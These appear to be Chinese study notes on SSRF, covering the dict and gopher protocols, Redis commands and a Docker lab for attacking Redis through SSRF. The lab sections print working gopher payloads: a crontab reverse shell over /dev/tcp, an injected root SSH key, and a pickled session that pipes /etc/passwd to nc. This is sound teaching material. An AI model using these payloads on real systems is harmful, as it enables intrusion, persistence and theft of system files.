SSRF的学习笔记
什么是 SSRF(服务器端请求伪造)
SSRF(Server-Side Request Forgery,服务器端请求伪造)是一种常见的 Web 安全漏洞,其核心原理是攻击者利用服务器端程序的漏洞,诱导服务器主动向攻击者指定的目标地址发起请求,从而绕过客户端的访问限制(如防火墙、IP 白名单等),实现未授权访问、信息窃取、内网探测甚至远程代码执行等攻击目的。
正常情况下,服务器的请求行为应遵循预设逻辑(如仅请求特定合法域名的资源);而 SSRF 漏洞会打破这一逻辑 —— 攻击者通过构造特殊的请求参数(如 URL、IP、端口等),让服务器 “替自己做事”,发起本不应有的请求。简单来说:攻击者无法直接访问某目标(如内网系统、受限 IP),但能操控服务器去访问该目标,再将访问结果返回给攻击者。
SSRF要配合一些协议使用
dict协议
dict 的初体验
多说无益,直接上一个用了 dict 协议的服务让你们来体验一下
首先在你的电脑上安装一个 telnet 客户端 Windows 和 Mac / Linux 上应该都有对应的客户端
安装好了以后用这个命令来登陆
由于编码原因,有些非英文字符在某些系统上可能会乱码
telnet dict.org 2628
之后如果连接上了,能看到对应的提示:
220 dict.dict.org dictd 1.12.1/rf on Linux 4.19.0-10-amd64 <auth.mime><56180310.14213.1628480435@dict.dict.org>
在终端中输入 h 来获取帮助
113 help text follows DEFINE database word -- look up word in database MATCH database strategy word -- match word in database using strategy SHOW DB -- list all accessible databases SHOW DATABASES -- list all accessible databases SHOW STRAT -- list available matching strategies SHOW STRATEGIES -- list available matching strategies SHOW INFO database -- provide information about the database SHOW SERVER -- provide site-specific information OPTION MIME -- use MIME headers CLIENT info -- identify client to server AUTH user string -- provide authentication information STATUS -- display timing information HELP -- display this help information QUIT -- terminate connection The following commands are unofficial server extensions for debugging only. You may find them useful if you are using telnet as a client. If you are writing a client, you MUST NOT use these commands, since they won't be supported on any other server! D word -- DEFINE * word D database word -- DEFINE database word M word -- MATCH * . word M strategy word -- MATCH * strategy word M database strategy word -- MATCH database strategy word S -- STATUS H -- HELP Q -- QUIT
在终端中输入 show db
命令(这个东西貌似不区分大小写的样子)来列出所有的字典
在最后我们看到了 english 这个字典
在最后我们输入 define [字典名] [单词]
这样的命令来获取一个单词的解释
比如说 define english hello
服务器就会返回对应的单词解释
dict 协议是啥
dict 协议是一个在线网络字典协议,这个协议是用来架设一个字典服务的。不过貌似用的比较少,所以网上基本没啥资料(包括谷歌上)。可以看到用这个协议架设的服务可以用 telnet 来登陆,说明这个协议应该是基于 tcp 协议开发的。
所以像 mysql 的服务,因为也是基于 tcp 协议开发,所以用 dict 协议的方式打开也能强行读取一些 mysql 服务的返回内容
比如说下面这段程序:
<?php // 文件名: main.php$url = "dict://localhost:3306"; // localhost:3306 上架设了我的 mysql 服务 $ch = curl_init($url); curl_exec($ch); curl_close($ch);
输出结果:
可以看到虽然乱码,但是还是强行读取出来了一些可以辨识的数据,比如说 mysql 的版本号
gopher协议
0x01 Gopher协议
-
gopher
协议是一种信息查找系统,他将Internet
上的文件组织成某种索引,方便用户从Internet
的一处带到另一处。在WWW
出现之前,Gopher
是Internet
上最主要的信息检索工具,Gopher站点也是最主要的站点,使用tcp70
端口。但在WWW
出现后,Gopher
失去了昔日的辉煌。现在它基本过时,人们很少再使用它。 -
它只支持文本,不支持图像
0x02 协议访问学习
-
我们现在最多看到使用这个协议的时候都是在去
ssrf
打redis shell
、读mysql
数据的时候,由于之前对这个协议了解不是很熟,所以这次看到这篇文章后打算借此学习一下他的通信方式 -
首先最基础的看一下它如何发送
get
请求
复现环境
centos7 + kali 2018
-
在
centos7
主机使用nc
监听端口,nc -lvp 6666
-
然后用
kali
使用curl gopher://ip:6666/_abcd
发送gopher get
请求,可以发现_
不会被显示 -
gopher
协议格式:gopher://IP:port/_{TCP/IP数据流}
发送http get请求
-
在gopher协议中发送HTTP的数据,需要以下三步
-
构造
HTTP
数据包 -
URL
编码、替换回车换行为%0d%0a
,HTTP
包最后加%0d%0a`代表消息结束 -
发送
gopher
协议, 协议后的IP
一定要接端口 -
curl gopher://192.168.109.166:80/_GET%20/get.php%3fparam=Konmu%20HTTP/1.1%0d%0aHost:192.168.109.166%0d%0a
-
get.php
中写入<?php echo "Hello"." ".$_GET['param']."\n"?>
-
此外自己本地测试时要注意将防火墙关掉
发送http post请求
-
POST
与GET
传参的区别:它有4
个参数为必要参数 -
需要传递
Content-Type
,Content-Length
,host
,post
的参数 -
post.php
中写入<?php echo "Hello".$_POST['name']."\n";?>
-
POST与GET传参的区别:它有4个参数为必要参数 POST /post.php HTTP/1.1host:192.168.194.1Content-Type:application/x-www-form-urlencodedContent-Length:12name=purplet 如下构造: curl gopher://192.168.194.1:80/_POST%20/post.php%20HTTP/1.1%0d%0AHost:192.168.194.1%0d%0AContent-Type:application/x-www-form-urlencoded%0d%0AContent-Length:12%0d%0A%0d%0Aname=purplet%0d%0A
通过 SSRF 攻击利用 Redis
Redis 是一个内存数据结构存储,用于以键值的形式存储数据,可用作数据库、序列化/会话存储、缓存和作业队列。
例如在框架Django和Flask中,Redis可以用作会话实例,或者在Gitlab中使用Redis作为作业队列。
Redis 使用,Text Based line protocol
因此可以使用telnet
或netcat
不需要特殊软件来访问 Redis 实例,但是 Redis 有一个名为的官方客户端软件redis-cli
。
Redis 支持两种类型的命令:
1.非RESP(REdis序列化协议)格式,使用空格作为分隔符。
2.RESP格式,这种格式是比较推荐的(因为这是 Redis 请求/响应的标准),另外使用这种格式还可以避免 Redis 请求中出现引号(“”等特殊字符时出现语法错误)。
Redis命令
一、通用命令(适用于所有数据类型)
-
KEYS pattern
-
功能:查找所有符合给定模式
pattern
的键 -
示例:
KEYS user:*
→ 查找所有以user:
开头的键
-
-
EXISTS key
-
功能:检查键是否存在(返回 1 存在,0 不存在)
-
示例:
EXISTS username
→ 检查username
键是否存在
-
-
DEL key [key ...]
-
功能:删除一个或多个键(返回删除成功的数量)
-
示例:
DEL user:100 cart:200
→ 删除两个键
-
-
EXPIRE key seconds
-
功能:为键设置过期时间(单位:秒)
-
示例:
EXPIRE session:123 3600
→ 键session:123
1 小时后过期
-
-
TTL key
-
功能:查看键的剩余过期时间(-1 永不过期,-2 已过期 / 不存在)
-
示例:
TTL session:123
→ 查看剩余有效期
-
-
TYPE key
-
功能:返回键所存储值的数据类型(string、list、hash 等)
-
示例:
TYPE user:100
→ 查看user:100
的类型
-
二、字符串(String)命令
String 是 Redis 最基础的类型,可存储文本或二进制数据(最大 512MB)。
-
SET key value [EX seconds] [PX milliseconds] [NX|XX]
-
功能:设置键值对,可选参数:
-
EX
:过期时间(秒);PX
:过期时间(毫秒) -
NX
:仅当键不存在时设置;XX
:仅当键存在时设置
-
-
示例:
SET username "alice" EX 3600
→ 设置username
为 "alice",1 小时后过期
-
-
GET key
-
功能:获取键对应的值(键不存在返回
nil
) -
示例:
GET username
→ 返回 "alice"
-
-
INCR key
/DECR key
-
功能:对数值类型的值进行自增 / 自减(值需为整数)
-
示例:
INCR counter
→ 计数器 +1;DECR counter
→ 计数器 -1
-
-
APPEND key value
-
功能:向字符串末尾追加内容(返回新字符串长度)
-
示例:
APPEND username "_admin"
→ 将username
从 "alice" 变为 "alice_admin"
-
三、列表(List)命令
List 是有序的字符串列表,支持两端插入 / 删除,类似双向链表。
-
LPUSH key value [value ...]
/RPUSH key value [value ...]
-
功能:向左(头部)/ 向右(尾部)插入一个或多个值
-
示例:
LPUSH fruits "apple"
→ 列表fruits
头部添加 "apple"
-
-
LPOP key
/RPOP key
-
功能:移除并返回列表头部 / 尾部的元素
-
示例:
RPOP fruits
→ 移除并返回fruits
尾部元素
-
-
LRANGE key start stop
-
功能:返回列表中从
start
到stop
的元素(索引从 0 开始,-1
表示最后一个) -
示例:
LRANGE fruits 0 2
→ 返回前 3 个元素
-
-
LLEN key
-
功能:返回列表的长度
-
示例:
LLEN fruits
→ 查看fruits
列表有多少元素
-
四、哈希(Hash)命令
Hash 用于存储键值对集合,适合表示对象(如用户信息、商品属性)。
-
HSET key field value [field value ...]
-
功能:为哈希表设置一个或多个字段的值
-
示例:
HSET user:100 name "alice" age 25
→ 设置用户 100 的姓名和年龄
-
-
HGET key field
-
功能:获取哈希表中指定字段的值
-
示例:
HGET user:100 name
→ 返回 "alice"
-
-
HGETALL key
-
功能:返回哈希表中所有字段和值
-
示例:
HGETALL user:100
→ 返回name "alice" age "25"
-
-
HDEL key field [field ...]
-
功能:删除哈希表中的一个或多个字段
-
示例:
HDEL user:100 age
→ 删除用户 100 的age
字段
-
五、集合(Set)命令
Set 是无序的字符串集合,元素唯一,支持交集、并集等操作。
-
SADD key member [member ...]
-
功能:向集合添加一个或多个元素(已存在的元素会被忽略)
-
示例:
SADD tags "redis" "database"
→ 集合tags
添加两个标签
-
-
SMEMBERS key
-
功能:返回集合中的所有元素
-
示例:
SMEMBERS tags
→ 返回redis
和database
-
-
SISMEMBER key member
-
功能:判断元素是否在集合中(1 存在,0 不存在)
-
示例:
SISMEMBER tags "redis"
→ 返回 1
-
-
SUNION key1 key2
-
功能:返回两个集合的并集
-
示例:
SUNION tags1 tags2
→ 合并两个标签集合
-
六、有序集合(Sorted Set)命令
Sorted Set 类似 Set,但每个元素关联一个分数(score),可按分数排序。
-
ZADD key score member [score member ...]
-
功能:向有序集合添加元素及分数(分数可用于排序)
-
示例:
ZADD rank 90 "alice" 85 "bob"
→ 添加用户及分数到排名表
-
-
ZRANGE key start stop [WITHSCORES]
-
功能:按分数升序返回指定范围的元素(加
WITHSCORES
显示分数) -
示例:
ZRANGE rank 0 1 WITHSCORES
→ 返回前两名及分数
-
-
ZREVRANGE key start stop
-
功能:按分数降序返回元素(常用于取 “Top N”)
-
示例:
ZREVRANGE rank 0 0
→ 返回分数最高的元素
-
七、其他常用命令
-
FLUSHDB
:清空当前数据库的所有键 -
FLUSHALL
:清空所有数据库的所有键(谨慎使用!) -
INFO
:查看 Redis 服务器的状态信息(如内存使用、连接数) -
CONFIG GET parameter
:获取配置参数(如CONFIG GET maxmemory
查看最大内存限制)
以上是 Redis 最核心的命令,实际使用中可通过 HELP command
(如 HELP SET
)查看命令详情。根据业务场景选择合适的数据结构和命令,能大幅提升 Redis 的使用效率。
Redis 持久性
Redis 将数据存储在内存中,因此当服务器重启时数据将会丢失,因为 RAM 是易失性存储,为了避免这个问题,Redis 具有持久性特性,它会将数据保存到硬盘上。
Redis 提供两种类型的持久性:
-
SAVE
RDB(Redis 数据库备份),每次执行“ ”命令时,都会将数据保存到硬盘上,并且 -
AOF(Append Only File)每次执行操作后都会将数据保存到硬盘中(基本上它的功能就像Bash Shell
.bash_history
每次命令成功执行后都会保存命令历史记录)。
Redis 持久性配置参数
AOF 并不是进行文件写入的好选择(在本博文中的 SSRF 上下文中),因为 Redis 不允许使用命令(在运行时)更改 AOF 文件名(默认情况下: appendonly.aofCONFIG SET
) ,而必须直接通过编辑文件来完成redis.conf
。
Redis 漏洞
影响 Redis 的最后一个漏洞是Ben Murphy 发现的*Redis EVAL Lua Sandbox Escape — CVE-2015-4335*。不过,这个问题已从 Redis 2.8.21 和 3.0.2 版开始修复。
在撰写本文时,尚无可直接在 Redis 实例上获取 RCE 的漏洞,但攻击者可以利用“持久性”功能,或者利用相关应用程序中的不安全序列化,以便将其用作获取 RCE 的技术。此外,Pavel Toporkov 还发现了“ Redis 后漏洞利用”,可利用该漏洞在 Redis 实例上获取 RCE。
Redis 与 HTTP
Redis 和 HTTP 都是基于文本的协议,因此 HTTP 可用于访问 Redis,但由于它有可能导致安全问题,自Redis 3.2.7发布以来,它使HTTP Header HOST
和POST
作为QUIT命令的别名,然后记录消息“检测到可能的安全攻击。看起来有人正在向 Redis 发送 POST 或 Host: 命令。这可能是由于攻击者试图使用跨协议脚本来破坏您的 Redis 实例。连接中止。 ”会在 Redis 日志中生成。
使用以下命令打开 Redis 连接:POST 或 HOST:
如果要强制 HTTP 与 Redis ≥ 3.2.7进行通信,则需要在 GET 参数部分进行 SSRF(GET 方法)+ CRLF 注入。为了避免 POST和CRLF 注入关键字,HOST Header 将位于 Redis 命令之后的位置。
琐事:别名 POST 到 QUIT 是根据 news.ycombinator.com 论坛成员geocar的建议创建的。
实验室设置
$ git clone https://github.com/rhamaa/Web-Hacking-Lab.git$ cd SSRF_REDIS_LAB$docker-compose build&&docker-compose up
实验室信息
SSRF 实验室网站
本博文中每个由payload_redis.py生成的 Payload ,都会以 URL 的形式输入到 SSRF Lab Web 中,所以不需要将攻击过程的截图发到 Lab 中。提供这些信息是为了避免大家对如何进行攻击产生困惑。
默认情况下,Redis 以用户“redis”的低权限运行。在实验室中,我们使用 root 权限来写入 crontab 和 authorized_key ssh,因为用户“redis”没有写入这两个文件的权限。
Redis 与 SSRF
Redis — Cron
crontab
Cron是Linux上的一个任务调度程序,cron会根据设定的时间周期性地执行使用命令设置的命令。
Cron 将 crontab 文件存储在/var/spool/cron/<Username>
(Centos)、/var/spool/cron/crontabs/<Username>
(Ubuntu) 中,并且系统范围的 crontab 存储在/etc/crontabs
.
实验室将使用两种不同的操作系统,因为 Centos 和 Ubuntu 上的 cron 行为略有不同。
$ python payload_redis.py cron Reverse IP > Port > Centos/Ubuntu (Default Centos) gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A %2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2477%0D%0A%0A %0A%2A/1%20%2A%20%2A%20%2A%20%2A%20/bin/bash%20-c%20%27sh%20-i%20%3E %26%20/dev/tcp/b%27XXX.XXX.XXX.XXX%27/8080%200%3E%261%27%0A%0A%0D%0A% 2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A %2416%0D%0A/var/spool/cron/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243 %0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D %0A%244%0D%0Asave%0D%0A%2A1%0D%0A%244%0D%0Aquit%0D%0A•
Ubuntu实验室
Redis 会以 0644 权限写入文件,而 ubuntu 上的 crontab 文件预计具有 0600 权限,因此它会在系统日志中给出警告。
另外,Redis RDB文件中存在虚拟数据,这会导致 cron 忽略 crontab 文件,因为存在无效语法,所以即使 crontab 文件具有0600权限也不会执行。
Cron 语法错误
在 Ubuntu 中,通过 SSRF 使用 Redis 写入 crontab 文件将无法正常工作,因为 Ubuntu 中的 crontab 文件需要具有 0600 权限才能执行,并且需要清除导致语法错误的虚拟数据。
Centos 实验室
在 Centos 上,即使 crontab 文件的权限为 0644,且有虚拟数据,cron 仍会被执行,这样它就可以获得反向 shell。
Redis — SSH 公钥
Authorized_keys 用于存储 SSH 公钥列表,以便用户使用 SSH 私钥-公钥对而不是密码登录。Authorized_keys 位于$HOME/.ssh/authorized_keys
如果$HOME/.ssh/authorized_keys
可写,则可以用它来存储攻击者的 SSH 密钥。
$ python payload_redis.py ssh gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D %0A%241%0D%0A1%0D%0A%24403%0D%0A%0D%0A%0D%0Assh-rsa%20AAAAB3NzaC1yc2EAAAADAQABAAABAQD c4B6PTML3xiqId/qw8cJkPmwSbtdOsAS2IGUUk1ifRHZsdfgcFvj7fzMFo1ydGAOuZcGPeT838LQ3R8ruWe4B 788Q5ZKRO6CZSoEmqs4FWuCz7QvwWu9%2B2kMH/6gUvVQAQNYD2RACXgJcCAm77bg/WHZfgGJYNtOKDUf%2B0 V1ku%2B/h8ijsQJdkuk5Zr7w1xjOdigLs8ST7MivptfYGvbnh/XUk3Y2EfyoACmW0MpcnthdLL3s/8SOs5exe kRNYYU9rn74itibDHlsYvukBtKhW/XOAPZ3T38qDf7PJyqPoOl%2BAQ8AaFwIBVfE7V1mPRCqZLkG97SRjMy1 V9dhTgG4h%20rhama%40Inspiron-7472%0D%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0A set%0D%0A%243%0D%0Adir%0D%0A%2410%0D%0A/root/.ssh%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A %243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%2415%0D%0Aauthorized_keys%0D%0A%2A1%0D%0A %244%0D%0Asave%0D%0A%2A1%0D%0A%244%0D%0Aquit%0D%0A ==================================================== After payload executed, try ssh root@server_hostname ====================================================
即使存在虚拟数据,也可以访问 Ubuntu 和 Centos Lab ssh。
通过 SSH 连接到 Ubuntu 实验室
Redis 作为会话存储
后端服务器经常使用 Redis 作为 Session 存储,在 Redis 网页实验中,Session 存储将重点介绍如何利用不安全的序列化,因为Session通常以对象的形式存在,为了将这些对象存储到 Redis,必须将 Session 对象转换为字符串。将对象转换为字符串的过程称为“*序列化*”,将字符串转换为对象的过程称为“*反序列化*”。
该实验室使用来自带有Redis 的服务器端会话的示例代码片段将Redis 实现为会话存储,并使用Pickle作为**序列化器,已知 pickle 是不安全的,可被利用来获取 RCE。
攻击流程比较简单,我们只需要通过SSRF用Payload Pickle更改session的值即可。根据源码中的逻辑,session会被序列化并进行base64编码。
为了能够更改 Redis 中存储的会话值,您需要一个键名,在本实验中,会话将以该名称存储session:<session_id>
使用 redis-cli 检查 Redis 中存储的值
我们可以使用浏览器默认的开发者工具查看 Session-Id
琐事:Flask 内部
当请求即将结束或者视图返回时,Flask 会在内部调用该finalize_request
方法,然后在该finalize_request
方法中又会调用从类中process_response
调用的方法,该方法会保存会话的值(在这篇博文的上下文中,会话值会保存到 Redis 中)。save_session``session_interface``save_session
为什么这些信息很重要?因为当我们尝试通过 SSRF 更改 Redis 中 flask 会话的值时,我们之前通过 SSRF 更改的值将被原始值覆盖。
Pickle-Redis 实验室至少有 3 种场景可以实现 RCE:
-
当执行SSRF payload时,我们同时访问其他端点,例如
/login
(此方法可以使用多线程/多处理),因为在访问其他端点时,Flask会调用类open_session
的方法session_interface
,然后检索会话值(因此要避免save_session
)。 -
修改 Session-Id 的值,然后将修改后的 Session-Id 写入 Payload Pickle,例如 Session Id 是 AAAA-AAAA-AAAA-AAAA,我们可以将其改为 AAAA-AAAA-AAAA-AAAB,然后设置 AAAA-AAAA-AAAA-AAAB 作为 Key,以后在客户端只需要使用 AAAA-AAAA-AAAA-AAAB 就可以了,这样 Flask 就可以读取 Session Id 的值了。
-
使用Master-Slave Redis功能(通过命令通过SSRF触发
SLAVEOF
),然后直接通过Master更改值,因为Master中发生的任何更改都会自动同步到Slave。
在这篇博文中,我们将选择场景 2,
$ python2 payload_redis.py pickle Key name > session:8ac1cb48-5064-4067-9e43-ed0df6856425 http://127.0.0.1:6379/_%0D%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%2444%0D%0Asession%3A8ac1 cb48-5064-4067-9e43-ed0df6856425%0D%0A%2492%0D%0AY3Bvc2l4CnN5c3RlbQpwMAooUydjYXQgL2V0Y y9wYXNzd2QgfCBuYyAxMjcuMC4wLjEgOTA5MScKcDEKdHAyClJwMwou%0D%0A
注意:原始会话 ID session:8ac1cb48–5064–4067–9e43-ed0df685642 *6*更改为session:8ac1cb48–5064–4067–9e43-ed0df685642 *5*
Rce 结果,cat /etc/passwd | nc IP PORT